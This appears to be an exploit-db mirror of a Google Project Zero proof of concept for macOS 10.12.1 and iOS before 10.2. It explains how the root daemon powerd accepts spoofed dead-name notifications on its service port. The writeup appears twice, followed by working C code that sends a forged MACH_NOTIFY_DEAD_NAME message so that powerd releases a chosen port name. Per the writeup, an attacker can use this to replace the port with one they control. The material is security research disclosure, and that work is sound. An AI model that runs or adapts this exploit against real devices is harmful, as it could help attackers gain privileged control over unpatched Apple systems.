Apple macOS 10.12.1 / iOS < 10.2 - powerd Arbitrary Port Replacement

  • 作者: Google Security Research
    日期: 2016-12-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40958/
  • /*
    Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=976
    
    powerd (running as root) hosts the com.apple.PowerManagement.control mach service.
    
    It checks in with launchd to get a server port and then wraps that in a CFPort:
    
    pmServerMachPort = _SC_CFMachPortCreateWithPort(
    "PowerManagement",
    serverPort, 
    mig_server_callback, 
    &context);
    
    It also asks to receive dead name notifications for other ports on that same server port:
    
    mach_port_request_notification(
    mach_task_self(), // task
    notify_port_in, // port that will die
    MACH_NOTIFY_DEAD_NAME,// msgid
    1,// make-send count
    CFMachPortGetPort(pmServerMachPort),// notify port
    MACH_MSG_TYPE_MAKE_SEND_ONCE, // notifyPoly
    &oldNotify);// previous
    
    mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:
    
    static void
    mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
    {
    mig_reply_error_t * bufRequest = msg;
    mig_reply_error_t * bufReply = CFAllocatorAllocate(
    NULL, _powermanagement_subsystem.maxsize, 0);
    mach_msg_return_t mr;
    int options;
    
    __MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
    
    /* we have a request message */
    (void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);
    
    This passes the raw message to pm_mig_demux:
    
    static boolean_t 
    pm_mig_demux(
    mach_msg_header_t * request,
    mach_msg_header_t * reply)
    {
    mach_dead_name_notification_t *deadRequest = 
    (mach_dead_name_notification_t *)request;
    boolean_t processed = FALSE;
    
    processed = powermanagement_server(request, reply);
    
    if (processed) 
    return true;
    
    if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) 
    {
    __MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);
    
    PMConnectionHandleDeadName(deadRequest->not_port);
    
    __MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
    mach_port_deallocate(mach_task_self(), deadRequest->not_port);
    
    reply->msgh_bits= 0;
    reply->msgh_remote_port = MACH_PORT_NULL;
    
    return TRUE;
    }
    
    This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
    match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.
    
    deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:
    
    typedef struct {
    mach_msg_header_t not_header;
    NDR_record_tNDR;
    mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
    mach_msg_format_0_trailer_t trailer;
    } mach_dead_name_notification_t;
    
    This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
    mach_port_deallocate.
    
    The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
    to drop a reference on a controlled mach port name :)
    
    Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
    user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.
    
    You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.
    
    Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
    mach_port_deallocate call and you'll see the controlled value in rsi.
    
    Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
     */
    
    // ianbeer
    
    #if 0
    MacOS/iOS arbitrary port replacement in powerd
    
    powerd (running as root) hosts the com.apple.PowerManagement.control mach service.
    
    It checks in with launchd to get a server port and then wraps that in a CFPort:
    
    	pmServerMachPort = _SC_CFMachPortCreateWithPort(
    													"PowerManagement",
    													serverPort, 
    													mig_server_callback, 
    													&context);
    
    It also asks to receive dead name notifications for other ports on that same server port:
    
    	mach_port_request_notification(
    							mach_task_self(), // task
    							notify_port_in, // port that will die
    							MACH_NOTIFY_DEAD_NAME,// msgid
    							1,// make-send count
    							CFMachPortGetPort(pmServerMachPort),// notify port
    							MACH_MSG_TYPE_MAKE_SEND_ONCE, // notifyPoly
    							&oldNotify);// previous
    
    mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:
    
    	static void
    	mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
    	{
    			mig_reply_error_t * bufRequest = msg;
    			mig_reply_error_t * bufReply = CFAllocatorAllocate(
    					NULL, _powermanagement_subsystem.maxsize, 0);
    			mach_msg_return_t mr;
    			int options;
    
    			__MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
    			
    			/* we have a request message */
    			(void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);
    
    This passes the raw message to pm_mig_demux:
    
    	static boolean_t 
    	pm_mig_demux(
    			mach_msg_header_t * request,
    			mach_msg_header_t * reply)
    	{
    			mach_dead_name_notification_t *deadRequest = 
    											(mach_dead_name_notification_t *)request;
    			boolean_t processed = FALSE;
    
    			processed = powermanagement_server(request, reply);
    
    			if (processed) 
    					return true;
    			
    			if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) 
    			{
    					__MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);
    
    					PMConnectionHandleDeadName(deadRequest->not_port);
    
    					__MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
    					mach_port_deallocate(mach_task_self(), deadRequest->not_port);
    					
    					reply->msgh_bits= 0;
    					reply->msgh_remote_port = MACH_PORT_NULL;
    
    					return TRUE;
    			}
    
    This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
    match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.
    
    deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:
    
    	typedef struct {
    			mach_msg_header_t not_header;
    			NDR_record_tNDR;
    			mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
    			mach_msg_format_0_trailer_t trailer;
    	} mach_dead_name_notification_t;
    
    This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
    mach_port_deallocate.
    
    The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
    to drop a reference on a controlled mach port name :)
    
    Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
    user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.
    
    You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.
    
    Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
    mach_port_deallocate call and you'll see the controlled value in rsi.
    
    Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
    #endif
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    #include <servers/bootstrap.h>
    #include <mach/mach.h>
    #include <mach/ndr.h>
    
    char* service_name = "com.apple.PowerManagement.control";
    
    struct notification_msg {
    mach_msg_header_t not_header;
    NDR_record_tNDR;
    mach_port_name_t not_port;
    };
    
    mach_port_t lookup(char* name) {
    mach_port_t service_port = MACH_PORT_NULL;
    kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
    if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
    }
    
    return service_port;
    }
    
    int main() {
    kern_return_t err;
    
    mach_port_t service_port = lookup(service_name);
    
    mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy
    
    printf("%d\n", getpid());
    printf("service port: %x\n", service_port);
    
    	struct notification_msg not = {0};
    
    not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
    not.not_header.msgh_size = sizeof(struct notification_msg);
    not.not_header.msgh_remote_port = service_port;
    not.not_header.msgh_local_port = MACH_PORT_NULL;
    not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME
    
    	not.NDR = NDR_record;
    
    	not.not_port = target_port;
    
    // send the fake notification message
    err = mach_msg(&not.not_header,
     MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
     (mach_msg_size_t)sizeof(struct notification_msg),
     0,
     MACH_PORT_NULL,
     MACH_MSG_TIMEOUT_NONE,
     MACH_PORT_NULL); 
    printf("fake notification message: %s\n", mach_error_string(err));
    
    return 0;
    }